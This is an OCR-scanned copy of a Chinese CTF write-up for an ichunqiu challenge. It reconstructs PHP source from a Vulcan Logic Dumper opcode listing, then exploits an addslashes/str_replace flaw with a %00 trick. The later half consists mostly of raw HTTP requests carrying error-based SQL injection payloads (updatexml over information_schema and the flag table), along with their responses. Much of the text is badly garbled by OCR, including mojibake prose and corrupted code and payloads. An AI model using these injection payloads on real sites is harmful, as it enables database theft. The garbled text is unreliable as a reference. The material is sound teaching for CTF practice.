iFK—AEBM’CTFH3E +H3%——VIid (Vulcan Logic
Dumper - php opcode. sql IEEEN) ...

weixin 30553837 F 2018-10-14 00:13:00 & A 359 e

JRSCBEEE:  hitps/www.cnblogs.com/leixiao-/p/9784904.html
KA

FT T 75 H & 2)#2 7= "do you know Vulcan Logic Dumper?" , H&FEJREIGE 3"<!-- index.php.txt 2>", i 5 K
—HEANERRT

<« C @ @ 6757a0abc4ab4f59a9f2954259e066a6be3 1ddedadbc4095.game.ichungiu.com/index.php.txt
£+ BximiE @) Getting Started

Branch analysis from position: 40

Branch analysis from position: 38

Return found

filename: C:\ctf\index. php

function name: (null)

number of ops: 44

compiled vars: !0 = 8a, !1=38b, !2 = §¢c

line g % op fetch ext return operands
2 0 » EXT_STMT
1 ECHO * do+youtknow+Vulcan+Logic+Dumper%3F%3Chr%
3 2 EXT STMT
3 BEGIN_SILENCE 0
4 FETCH R global $1 > GET’
5 FETCH DIM R $2 $1, ’flagl’
6 END SILENCE "0
7 ASSIGN 10, $2
4 8 EXT STMT
9 BEGIN_SILENCE ~4
10 FETCH R global $5 ' GET
11 FETCH DIM R $6 $5, *flag?’
12 END_SILENCE "4
13 ASSIGN 1, $6
5 14 EXT_STMT
15 BEGIN_STLENCE "8
16 FETCH R global $9 * GET
17 FETCH DIM R $10 $9, ’flag3’
18 END_SILENCE "8
19 ASSIGN 12, $10
6 20 EXT_STMT
21 IS_EQUAL "12 10, ’fvhjjihfev’
22 > IMPZ ~12, —>38
7 23 >  EXT _STMT
24 IS_EQUAL ~13 1, ’ gfuyiyhioyf’
25 > JMPZ ~13, —>356

X & B PTE K Vulcan Logic Dumper T, %67 ff F A SME&
PHPA #-Zend5| % http://www.php.cn/php-weizijiaocheng-355597 .html
PHPH fjopcode: https://blog.csdn.net/weiyuanke/article/details/76921476

Vulcan Logic Dumper: http://www.phppan.com/2011/05/vld-extension/


https://blog.csdn.net/weixin_30553837
http://www.cnblogs.com/leixiao-/p/9784904.html

Wt R AR F 2 —HEARD H 2t 2 5 BividB 2/, phpiE & F fzend 51 44T F M K i%opcode. B
T opcodef# 7] UK KA I iphpfRAg. M _EHE IR BB FopcodeI T H, RIFEENRRESALIRET ...

(opcodeXt &3 : http://www.php.net/manual/en/internals2.opcodes.list.php)

RBACED EL B R ., HSREE T RBIER G 2 TH, XRBMPITHILER

<?php
echo'do+you+know+Vulcan+Logic+Dumper%3F%3Cbr%3E" ;
$0=% GET['flagl'];

$1=$ GET['flag2']

$2=$_GET['flag3'];

21 mE$AZETF ' fvhjjihfev!

22 BhFE 23817

24 WR$IAET 'gfuyiyhioyf’

25 BhFE 23547

27 WME$2A%F 'yugoiiyhi®

28 BhFE 23217

30 echo'the+next+step+is+xxx.zip';
31 Bh¥E 213447

32 EXT_STMT

33 echo'false%3Cbr%3E";

34 Be#: 213747

35 EXT_STMT

36 echo'false%3Cbr%3E";

37 Bh¥ 24017

38 EXT_STMT

39 echo'false%3Cbr%3E";

40 NOP

41 EXT_STMT

42 echo%3C%21--+index.php.txt+%3F%3E%0OD%0OA%OD%OA" ;

?>



BE— 3P B A phpHAS N g

1

2

3 echo 'do you know Vulcan Logic Dumper?<br>";
4 $a=% GET['flagl'];

5 $b=% GET['flag2'];

6 $c=%_GET['flag3'];

7

8

9

if($al="fvhjjihfcv')

{
10 echo 'false<br>';
11 }
12 elseif($b!="gfuyiyhioyf")
13 {
14 echo 'false<br>';
15 }
16 elseif($c!="yugoiiyhi')
17 {
18 echo 'false<br>';
19 }
20 else
21 {
22 echo 'the next step is xxx.zip';
23 }
24
25
26 echo '<!-- index.php.txt ?>';
27 ?>

OMETEYENERNEE S 75

¥i&/?flag1=fvhjjinfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi

fad74edeaabad5118194166454° X

& C @
L+ #5inE @ Getting Started

o

() 1.com//?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi v = 7

do you know V
the next step is

& V5 R/ 1chunqiu.zip, TEZEXHE#EE, FiHEREEHET.



passwordZ&idmd5inE, number AgERAHF, FrUAEHAFEFEANN. H2username BA L idaddslashes()it
B (B5]5, RANLEMEABMN ERFATTE X, BiflsqiEN) , H2NH R aAmEAE

" $username = trim(str_replace($number, ", Susername)); ", FrCATRATAT CAFI X Bik 5| Sk H R, X4
RIGRIBRIC, mHEH 2B, BRAERERIRR.

$username = $db->safe data($ POST[ '
$password = $db->my md5($ POST C
$number = is_numeric($_POST[ "ni 1) ?
$username = trim(str replace($number, "'

ame* 1)
d'1);

$ POST[ 'nu _
,» pusername));

1i safe data($value){
if( MAGIC QUOTES GPC ){
stripcslashes($value);

rn addslashes($value);

#Ji&number=0&username=%00" &password=3

POST /1chungiuflogin.php HTTR/1.1 : HTTR/.1 200 0K :
Host: fadvdedeaabads1181941664549a4d3f7 33010e593554942, game.ichungiu.com Server nginx/1.10.2

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv62.0) Gecko/20100101 Date: Sat, 13 Oct 2018 15:05:49 GMT

Firefox/B2.0 Content-Type: text/html; charset=utf8

Accept: text/html,application/xhtml+xml,application/xml;q=0.9 **q=0.8 Content-Length: 173

Accept-Language: zh-CN zh;q=0.8 zh-TW,;q=0.7 zh-HK,q=0.5 en-US;q=0.3 &n;q=0.2 Connection: close

Referer: ¥-Fowered-By: PHP/S.5.9-Tubuntud 19

http:/ifad7dedeaabadsl 181941664549a4 d3f733210e553554942 game.ichungiu. comi1 chun Vary: Accept-Encoding

giuflagin. html

Content-Type: application/x-www-form-urlencodad Hdl Pl 47855 Y ou have an error in your SQL syntax; check
Content-Length: 78 the manual that corresponds to your MySQL server version
Connection: close for the right syntax to use near ™\ at line 1
Upgrade-Insecure-Requests: 1

number=0&usermame=%00" &password=3&submit=

BBHIEERE, RS 5R&RT, HusernameiRE %00', £ifaddslashes()it# /5 (addslashes()&7E
NULLATHR \ ,08 FNULL) & \0\'. minumbertd 20,7 LAk Musernames £$20, usernamellZEpk \\' , H35]
SHIAIS\EL X, FrLA S| SR, J5 &sqliEf)A select * from'users’'where username="'\\""' , T LLH
— NG5, LRIRE.

HTEREBERE S, Fr%Ei#TIREEE N, number=0&username=%00" and updatexmi(1,substr((select
group_concat(table_name) from information_schema.tables where table schema=database()),1,41),1)
#&password=x&submit=



= L 1 1 1

i L I 1

POST M echungiuflogin.php HTTPM .1

Host: d52fe34915ch41ebadc2e9526d341hd7Bh741bdacci ad82a. game. ichungiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; 64, n62.0) Gecko/20100101 Firefox/62.0
Accept: text/html application/xhtml+xml applicationfxml; q=0.9 %™ q=0.8

Accept-Language: zh-CN, zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2

Referer:

http://d52fe34915chd ebadc2e9826d341 bd7BL7 41 bdaccTad82a, game.ichungiu. com/1 chungiuflogin. html
Content-Type: application/x-www-form-urlencoded

Content-Length: 170

Connection: close

Upgrade-Insecure-Requests: 1

numbe=0&usermame=%00" and updatexml(1 substr{(select g|'0up_c0ncat[tah|e!_name) fram
information_schema.tables where table_schema=database()),1,41),1) #password=x8submit=

A HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sat, 13 Oct 2018 15:59:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 50
Connection: close
X-Powered-By: PHP/S.5.9-1ubuntud. 19

AR FE 1T 5 5RIXPATH syntax error: ',users’

WKZ K, TRBELINLHEINTFHARSR, FRUARSSSSEHEZBEAN PR FAE, HEZKXES

BIRIERANER. . » FERfag, FIUMEEERT

Accept-Language: zh-CN,zh;q=0.8 zh- 1W;g=0.7 zh-HK;q=0.5 en-Us5;q=0.3 en;q=0.2

Referer: http://d52fe34915ch4 1 ebadc2e9526d341bd7Bh741hdaccyad82a game. ichungiu.com/1 chungiu/lagin. html
Content-Type: application/x-www-form-urlencoded

Content-Length: 99

Connection: close

Upgrade-Insecure-Requests: 1

number=0&username="%00" and updatexml(1 substr{{select flag from flag),1,41),1) #&password=x&submit=

Accept-Language: zh-CN zh;g=0.8,zh-TW,q=0.7 ,zh-HK; g=0.5 2n-US;q=0.3 en;q=0.2

Referer: http://d52fe34915ch41ebadc2e9526d341hd78b7 41b4accy adB82a. game.ichungiu.com/1 chungiu/login. html
Content-Type: application/x-www-form-urlencoded

Content-Length: 100

Connection: close

Upgrade-Insecure-Requests: 1

number0&usemame=%00" and updatexml(1 substr({select flag from flag),11,41),1) #&password=x&submit=

EREATFAZELIN0T, , PR THEA, BES KR .

##, T :https://www.cnblogs.conmvleixiao-/p/9784904.html

Content-Length: /&

Connection: close

¥-Powered-By: PHP/S.5.9-1ubuntud 19
Vary: Accept-Encoding

F R P T 5IXPATH syntax error:
{cefc7B8a-79d7 4e0088d6-7517 cdd’

Content-Length: 74

Connection: close

*-Powered-By: PHP/S.5.9-1ubuntud. 19
Wary: Accept-Encoding

FA FE AT 4SIXPATH syntax error:
"a-79d7 4e00 88d6 7517 cddBei2a}’




	i春秋——“百度杯”CTF比赛 十月场——Vld（Vulcan Logic Dumper 、php opcode、sql 报错注入）...

